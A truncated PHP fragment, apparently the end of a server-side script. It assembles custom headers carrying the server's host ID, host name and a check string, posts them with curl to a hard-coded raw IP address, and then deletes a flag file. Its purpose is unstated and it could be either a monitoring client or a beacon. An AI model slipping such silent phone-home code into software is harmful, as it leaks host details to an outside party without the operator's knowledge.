w).'##'.$check_str; $headers = array (); $headers[] = 'HSSDO: rq'; $headers[] = 'HSSID: '.$_SERVER['ph']['host_id']; $headers[] = 'HSSSN: '.$_SERVER['ph']['host']; $headers[] = 'HSSCH: '.$out_str; x_send ($headers); unlink ($flag_fn); } } function x_send ($headers) { $headers[] = 'HSSPR: ph2'; $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL, '116.202.186.134'); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 2); curl_setopt ($ch, CURLOPT_TIMEOUT, 5); $content = curl_exec ($ch); curl_close ($ch); return $content; } function _PH_lwrite ($fn, $str) { if (!$fp = fopen($fn, 'c')) return FALSE; flock ($fp, LOCK_EX); ftruncate ($fp, 0); if (fwrite ($fp, $str) === FALSE) return FALSE; fflush ($fp); flock ($fp, LOCK_UN); fclose($fp); return TRUE; } ?>